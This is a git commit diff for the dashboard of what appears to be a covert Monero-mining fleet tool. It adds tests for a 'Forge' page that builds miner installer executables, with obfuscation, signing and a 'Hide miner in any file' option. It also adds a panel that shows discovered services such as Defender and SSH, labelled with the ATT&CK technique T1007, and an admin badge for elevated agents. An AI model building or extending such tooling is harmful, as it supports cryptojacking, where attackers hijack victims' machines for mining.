feat: T1007 System Service Discovery - fixed allowlist probe in posture heartbeat
This commit is contained in:
157
server/web/src/pages/BuilderPage.test.tsx
Normal file
157
server/web/src/pages/BuilderPage.test.tsx
Normal file
@@ -0,0 +1,157 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import BuilderPage, { formatBytes } from './BuilderPage';
|
||||
import { ForgeProvider } from '../context/ForgeContext';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
|
||||
function renderBuilder(initialEntries = ['/forge']) {
|
||||
return render(
|
||||
<MemoryRouter initialEntries={initialEntries}>
|
||||
<ForgeProvider>
|
||||
<BuilderPage />
|
||||
</ForgeProvider>
|
||||
</MemoryRouter>
|
||||
);
|
||||
}
|
||||
|
||||
describe('formatBytes', () => {
|
||||
it('formats sub-kilobyte values as bytes', () => {
|
||||
expect(formatBytes(512)).toBe('512 B');
|
||||
});
|
||||
|
||||
it('formats kilobytes and megabytes with two decimals', () => {
|
||||
expect(formatBytes(2048)).toBe('2.00 KB');
|
||||
expect(formatBytes(5 * 1024 * 1024)).toBe('5.00 MB');
|
||||
});
|
||||
|
||||
it('formats gigabytes and terabytes', () => {
|
||||
expect(formatBytes(3 * 1024 * 1024 * 1024)).toBe('3.00 GB');
|
||||
expect(formatBytes(2 * 1024 * 1024 * 1024 * 1024)).toBe('2.00 TB');
|
||||
});
|
||||
});
|
||||
|
||||
describe('BuilderPage', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
localStorage.clear();
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
vi.spyOn(api, 'listBuilds').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'buildAgent').mockResolvedValue({
|
||||
success: true,
|
||||
file_name: 'worker-1.exe',
|
||||
file_size: 4 * 1024 * 1024,
|
||||
download_url: '/api/v1/builds/test/download',
|
||||
fusion_enabled: false,
|
||||
obfuscated: false,
|
||||
signed: false,
|
||||
});
|
||||
vi.spyOn(api, 'listBlueprints').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'saveBlueprint').mockResolvedValue({ name: 'my-blueprint', size: 1024, created_at: '' });
|
||||
vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('shows loading hero before defaults arrive', () => {
|
||||
renderBuilder();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'The Forge' })).toBeInTheDocument();
|
||||
expect(screen.getByText('Loading forge defaults from server...')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('renders forge form with identity field labels after load', async () => {
|
||||
renderBuilder();
|
||||
expect(await screen.findByRole('heading', { level: 2, name: 'Quick Forge' })).toBeInTheDocument();
|
||||
expect(screen.getByText('INSTALLER FORGE')).toBeInTheDocument();
|
||||
expect(screen.getByText('Worker Name')).toBeInTheDocument();
|
||||
expect(screen.getByText('Control Endpoint')).toBeInTheDocument();
|
||||
expect(screen.getByText('XMR Wallet Address')).toBeInTheDocument();
|
||||
expect(api.getConfig).toHaveBeenCalled();
|
||||
expect(api.getServerInfo).toHaveBeenCalled();
|
||||
expect(api.listBuilds).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('surfaces load failure when server info cannot be fetched', async () => {
|
||||
vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
|
||||
renderBuilder();
|
||||
expect(
|
||||
await screen.findByText('Failed to load server info — is the control server running?')
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows LAN endpoint chips from server info', async () => {
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
expect(screen.getByRole('button', { name: mockServerInfo.suggested_url! })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('switches to advanced mode and reveals pool configuration', async () => {
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
|
||||
expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
|
||||
expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
|
||||
expect(screen.getByText('Pool Host')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('submits forge when preflight passes', async () => {
|
||||
const buildSpy = vi.spyOn(api, 'buildAgent');
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||
await waitFor(() => {
|
||||
expect(buildSpy).toHaveBeenCalled();
|
||||
});
|
||||
expect(await screen.findByText('worker-1.exe')).toBeInTheDocument();
|
||||
expect(screen.getByRole('button', { name: /Download/i })).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('blocks forge when preflight has errors (empty wallet)', async () => {
|
||||
renderBuilder();
|
||||
const wallet = await screen.findByDisplayValue(/^4A+/);
|
||||
fireEvent.change(wallet, { target: { value: '' } });
|
||||
const forgeBtn = screen.getByRole('button', { name: /FIX .* ERROR/i });
|
||||
expect(forgeBtn).toBeDisabled();
|
||||
expect(screen.getByText('PREFLIGHT CROSS-CHECK')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('persists simple vs advanced mode in localStorage', async () => {
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
|
||||
expect(localStorage.getItem('aetherforge-forge-mode')).toBe('advanced');
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Simple' }));
|
||||
expect(localStorage.getItem('aetherforge-forge-mode')).toBe('simple');
|
||||
});
|
||||
|
||||
it('loads blueprint list when Load Blueprint is clicked', async () => {
|
||||
vi.spyOn(api, 'listBlueprints').mockResolvedValue([
|
||||
{ name: 'office-preset', size: 2048, created_at: '2026-05-30T12:00:00Z' },
|
||||
]);
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /Load Blueprint/i });
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: /Load Blueprint/i }));
|
||||
expect(await screen.findByText('Saved Blueprints')).toBeInTheDocument();
|
||||
expect(screen.getByText('office-preset')).toBeInTheDocument();
|
||||
expect(api.listBlueprints).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('shows fusion deliverable hint when Fusion card is selected', async () => {
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Quick Forge' });
|
||||
await userEvent.setup().click(
|
||||
screen.getByRole('button', { name: /Hide miner in any file/i })
|
||||
);
|
||||
expect(
|
||||
screen.getByText(/Fusion selected — drop your files below and forge/i)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -33,7 +33,7 @@ import {
|
||||
} from '../help/fusionMedia';
|
||||
import './Pages.css';
|
||||
|
||||
function formatBytes(n: number): string {
|
||||
export function formatBytes(n: number): string {
|
||||
if (n < 1024) return `${n} B`;
|
||||
const units = ['KB', 'MB', 'GB'];
|
||||
let v = n / 1024;
|
||||
@@ -635,7 +635,7 @@ export default function BuilderPage() {
|
||||
fusionPrepFile,
|
||||
]);
|
||||
|
||||
if (loadingDefaults || !form) {
|
||||
if (loadingDefaults) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
@@ -649,6 +649,22 @@ export default function BuilderPage() {
|
||||
);
|
||||
}
|
||||
|
||||
if (!form) {
|
||||
return (
|
||||
<div className="page fade-in command-deck">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">INSTALLER FORGE</p>
|
||||
<h1>The Forge</h1>
|
||||
</div>
|
||||
</header>
|
||||
<NeonCard accent="brass">
|
||||
<p>{error || 'Failed to load forge defaults from server.'}</p>
|
||||
</NeonCard>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
const installPreview = previewInstallPath({
|
||||
install_base: form.install_base,
|
||||
install_custom_base: form.install_custom_base,
|
||||
@@ -946,7 +962,7 @@ export default function BuilderPage() {
|
||||
<input
|
||||
type="text"
|
||||
className={`input mono${form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`}
|
||||
placeholder="4... or 8... (95–106 characters)"
|
||||
placeholder="4... or 8... (90–106 characters)"
|
||||
value={form.wallet}
|
||||
onChange={(e) => updateField('wallet', e.target.value)}
|
||||
required
|
||||
@@ -954,7 +970,7 @@ export default function BuilderPage() {
|
||||
/>
|
||||
{form.wallet && form.wallet.trim().length > 0 && form.wallet.trim().length < 90 && (
|
||||
<p className="form-hint" style={{ color: 'var(--neon-amber, #ffa)' }}>
|
||||
Wallet address looks short — Monero addresses are 95–106 characters starting with 4 or 8.
|
||||
Wallet address looks short — Monero addresses are 90–106 characters starting with 4 or 8.
|
||||
</p>
|
||||
)}
|
||||
<FieldHint field="wallet" />
|
||||
|
||||
@@ -226,6 +226,34 @@
|
||||
50% { opacity: 0.45; }
|
||||
}
|
||||
|
||||
/* ── T1007 service row ─────────────────────────────────────────────────────── */
|
||||
.cn-services {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 4px;
|
||||
margin-top: 4px;
|
||||
border-top: 1px solid rgba(255,255,255,0.05);
|
||||
padding-top: 4px;
|
||||
}
|
||||
|
||||
.cn-svc {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 3px;
|
||||
font-size: 0.6rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
letter-spacing: 0.05em;
|
||||
cursor: default;
|
||||
}
|
||||
|
||||
.cn-svc .svc-dot { font-size: 0.55rem; }
|
||||
|
||||
.cn-svc.svc-run { color: #00ff88; background: rgba(0,255,136,0.07); }
|
||||
.cn-svc.svc-stop { color: #888; background: rgba(128,128,128,0.07); text-decoration: line-through; opacity: 0.7; }
|
||||
.cn-svc.svc-unk { color: #555; background: rgba(80,80,80,0.05); }
|
||||
|
||||
/* ── Row: Groups + Actions ───────────────────────────────────────────── */
|
||||
|
||||
.crucible-row {
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
import type { Agent } from '../types';
|
||||
import type { Agent, AgentService } from '../types';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import { formatHashrate } from '../help/fleetFilters';
|
||||
import './CruciblePage.css';
|
||||
@@ -78,6 +78,15 @@ function postureTooltip(agent: Agent): string {
|
||||
if (agent.reboot_pending !== undefined) {
|
||||
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
|
||||
}
|
||||
if (agent.services?.length) {
|
||||
lines.push('──────────────────────');
|
||||
lines.push('Services (T1007):');
|
||||
for (const svc of agent.services) {
|
||||
const icon = svc.status === 'running' ? '●' : svc.status === 'stopped' ? '○' : '—';
|
||||
const st = svc.start_type !== 'unknown' ? ` [${svc.start_type}]` : '';
|
||||
lines.push(` ${icon} ${svc.display_name ?? svc.name}${st}`);
|
||||
}
|
||||
}
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
@@ -96,6 +105,42 @@ function rebootBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
return null; // no badge when not pending — cleaner UI
|
||||
}
|
||||
|
||||
// ── Service helpers (T1007) ────────────────────────────────────────────────
|
||||
|
||||
// Human-readable label for well-known service names
|
||||
const SVC_LABELS: Record<string, string> = {
|
||||
sshd: 'SSH',
|
||||
ssh: 'SSH',
|
||||
'openssh ssh server': 'SSH',
|
||||
cloudflared: 'CF Tunnel',
|
||||
wuauserv: 'WU',
|
||||
windefend: 'Defender',
|
||||
ufw: 'UFW',
|
||||
fail2ban: 'Fail2Ban',
|
||||
};
|
||||
|
||||
function svcLabel(svc: AgentService): string {
|
||||
return SVC_LABELS[svc.name.toLowerCase()] ?? svc.display_name ?? svc.name;
|
||||
}
|
||||
|
||||
function svcDot(status: string): string {
|
||||
if (status === 'running') return '●';
|
||||
if (status === 'stopped') return '○';
|
||||
return '—';
|
||||
}
|
||||
|
||||
function svcDotClass(status: string): string {
|
||||
if (status === 'running') return 'svc-run';
|
||||
if (status === 'stopped') return 'svc-stop';
|
||||
return 'svc-unk';
|
||||
}
|
||||
|
||||
// Only surface services that are interesting to show (skip self-service clutter)
|
||||
const IMPORTANT_SVCS = new Set(['sshd', 'ssh', 'openssh ssh server', 'cloudflared', 'wuauserv', 'windefend']);
|
||||
function importantServices(svcs: AgentService[]): AgentService[] {
|
||||
return svcs.filter(s => IMPORTANT_SVCS.has(s.name.toLowerCase()) || s.status === 'running');
|
||||
}
|
||||
|
||||
function platformIcon(platform?: string): string {
|
||||
if (!platform) return '⬡';
|
||||
const p = platform.toLowerCase();
|
||||
@@ -472,6 +517,20 @@ export default function CruciblePage() {
|
||||
<div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
|
||||
)}
|
||||
</div>
|
||||
{a.services && a.services.length > 0 && (
|
||||
<div className="cn-services">
|
||||
{importantServices(a.services).map(svc => (
|
||||
<span
|
||||
key={svc.name}
|
||||
className={`cn-svc ${svcDotClass(svc.status)}`}
|
||||
title={`${svc.display_name ?? svc.name} status: ${svc.status} start: ${svc.start_type}`}
|
||||
>
|
||||
<span className="svc-dot">{svcDot(svc.status)}</span>
|
||||
{svcLabel(svc)}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
148
server/web/src/pages/SettingsPage.test.tsx
Normal file
148
server/web/src/pages/SettingsPage.test.tsx
Normal file
@@ -0,0 +1,148 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import SettingsPage, { deepMerge } from './SettingsPage';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
import { api } from '../api/client';
|
||||
import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
|
||||
|
||||
function renderSettings() {
|
||||
return render(<SettingsPage />);
|
||||
}
|
||||
|
||||
describe('deepMerge', () => {
|
||||
it('preserves base keys not present in override', () => {
|
||||
const base = { a: 1, nested: { keep: true, old: 'x' } };
|
||||
const result = deepMerge(base, { nested: { old: 'y' } });
|
||||
expect(result.a).toBe(1);
|
||||
expect(result.nested.keep).toBe(true);
|
||||
expect(result.nested.old).toBe('y');
|
||||
});
|
||||
|
||||
it('replaces scalar values from override', () => {
|
||||
const base = { port: 8989, pool: { host: 'a', port: 3333 } };
|
||||
const result = deepMerge(base, { port: 8080, pool: { host: 'b' } });
|
||||
expect(result.port).toBe(8080);
|
||||
expect(result.pool.host).toBe('b');
|
||||
expect(result.pool.port).toBe(3333);
|
||||
});
|
||||
});
|
||||
|
||||
describe('SettingsPage (Calibrate)', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
sessionStorage.clear();
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(mockServerConfig());
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
vi.spyOn(api, 'updateConfig').mockImplementation(async (cfg) => cfg as ReturnType<typeof mockServerConfig>);
|
||||
vi.spyOn(api, 'createUser').mockResolvedValue({ success: true });
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('shows loading state then Calibrate heading', async () => {
|
||||
renderSettings();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'Calibrate' })).toBeInTheDocument();
|
||||
expect(screen.getByText('Loading server calibration...')).toBeInTheDocument();
|
||||
expect(await screen.findByText('CONTROL SERVER · LOCAL HOST')).toBeInTheDocument();
|
||||
expect(screen.getAllByRole('heading', { level: 1, name: 'Calibrate' })).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('renders key section headings and labels', async () => {
|
||||
renderSettings();
|
||||
expect(await screen.findByText('Control Server')).toBeInTheDocument();
|
||||
expect(screen.getByText('Upstream Pool')).toBeInTheDocument();
|
||||
expect(screen.getByText('Fleet Payout Wallet')).toBeInTheDocument();
|
||||
expect(screen.getByText('Access Control')).toBeInTheDocument();
|
||||
expect(screen.getByText('Fleet Security')).toBeInTheDocument();
|
||||
expect(screen.getByText('Listen Port')).toBeInTheDocument();
|
||||
expect(screen.getByText(/Public URL \(LAN\)/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/XMR Address/i)).toBeInTheDocument();
|
||||
expect(screen.getByDisplayValue('8080')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows detected LAN endpoints banner', async () => {
|
||||
renderSettings();
|
||||
expect(await screen.findByText('DETECTED LAN ENDPOINTS')).toBeInTheDocument();
|
||||
expect(screen.getByText(mockServerInfo.suggested_url!)).toBeInTheDocument();
|
||||
expect(screen.getByText(/IPs on this host:/)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('saves calibration via updateConfig API', async () => {
|
||||
const updateSpy = vi.spyOn(api, 'updateConfig');
|
||||
renderSettings();
|
||||
await screen.findByRole('button', { name: 'Save Calibration' });
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Save Calibration' }));
|
||||
await waitFor(() => {
|
||||
expect(updateSpy).toHaveBeenCalled();
|
||||
});
|
||||
expect(await screen.findByText('Calibration saved — control server updated.')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('applies best defaults to public URL from server info', async () => {
|
||||
vi.spyOn(api, 'getConfig').mockResolvedValue(
|
||||
mockServerConfig({ server: { public_url: '' } })
|
||||
);
|
||||
renderSettings();
|
||||
await screen.findByRole('button', { name: 'Use best defaults' });
|
||||
const publicUrlInput = screen.getByPlaceholderText(mockServerInfo.suggested_url!) as HTMLInputElement;
|
||||
expect(publicUrlInput.value).toBe('');
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Use best defaults' }));
|
||||
expect(
|
||||
await screen.findByText('Best defaults applied to the form — click Save Calibration to keep them.')
|
||||
).toBeInTheDocument();
|
||||
expect(publicUrlInput.value).toBe(mockServerInfo.suggested_url);
|
||||
});
|
||||
|
||||
it('stores browser session credentials', async () => {
|
||||
renderSettings();
|
||||
const accessSection = (await screen.findByText('Access Control')).closest('.settings-section') as HTMLElement;
|
||||
const user = userEvent.setup();
|
||||
const sessionUser = within(accessSection).getAllByPlaceholderText('admin')[0];
|
||||
const sessionPass = accessSection.querySelectorAll('input[type="password"]')[0] as HTMLInputElement;
|
||||
await user.type(sessionUser, 'admin');
|
||||
await user.type(sessionPass, 'secret-pass');
|
||||
await user.click(within(accessSection).getByRole('button', { name: 'Save session login' }));
|
||||
expect(getStoredAuth()).toBeTruthy();
|
||||
expect(await screen.findByText(/Session login saved/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('clears browser session on logout', async () => {
|
||||
setStoredAuth('admin', 'secret-pass');
|
||||
renderSettings();
|
||||
await screen.findByText('Session active');
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Clear session' }));
|
||||
expect(getStoredAuth()).toBeNull();
|
||||
expect(await screen.findByText('Session login cleared.')).toBeInTheDocument();
|
||||
clearStoredAuth();
|
||||
});
|
||||
|
||||
it('adds dashboard user via createUser API', async () => {
|
||||
const createSpy = vi.spyOn(api, 'createUser');
|
||||
renderSettings();
|
||||
const accessSection = (await screen.findByText('Access Control')).closest('.settings-section') as HTMLElement;
|
||||
const user = userEvent.setup();
|
||||
const newUserInput = within(accessSection).getAllByPlaceholderText('admin')[1];
|
||||
const newPassInput = within(accessSection).getByPlaceholderText('••••••••');
|
||||
await user.type(newUserInput, 'operator');
|
||||
await user.type(newPassInput, 'op-pass-123');
|
||||
await user.click(within(accessSection).getByRole('button', { name: 'Add User' }));
|
||||
await waitFor(() => {
|
||||
expect(createSpy).toHaveBeenCalledWith('operator', 'op-pass-123');
|
||||
});
|
||||
expect(await screen.findByText('User "operator" added successfully!')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('describes first-run admin credentials in Access Control help', async () => {
|
||||
renderSettings();
|
||||
expect(
|
||||
await screen.findByText(/first server start, credentials are printed once in the server console/i)
|
||||
).toBeInTheDocument();
|
||||
expect(screen.getByText(/admin/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -7,7 +7,7 @@ import NeonCard from '../components/NeonCard/NeonCard';
|
||||
import './Pages.css';
|
||||
|
||||
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
|
||||
function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
|
||||
const result = { ...base } as T;
|
||||
for (const key in override) {
|
||||
const val = override[key];
|
||||
@@ -378,7 +378,7 @@ export default function SettingsPage() {
|
||||
<p className="section-desc">Default wallet the server uses when connecting to the pool. The Forge pre-fills this when building miners.</p>
|
||||
<div className="form-group">
|
||||
<label className="label">XMR Address <HelpTip field="calibrate_wallet" /></label>
|
||||
<input type="text" className="input mono" placeholder="4… (95 chars)"
|
||||
<input type="text" className="input mono" placeholder="4… or 8… (90–106 chars)"
|
||||
value={config.wallet.address}
|
||||
onChange={(e) => updateField('wallet.address', e.target.value)} />
|
||||
<FieldHint field="calibrate_wallet" />
|
||||
|
||||
Reference in New Issue
Block a user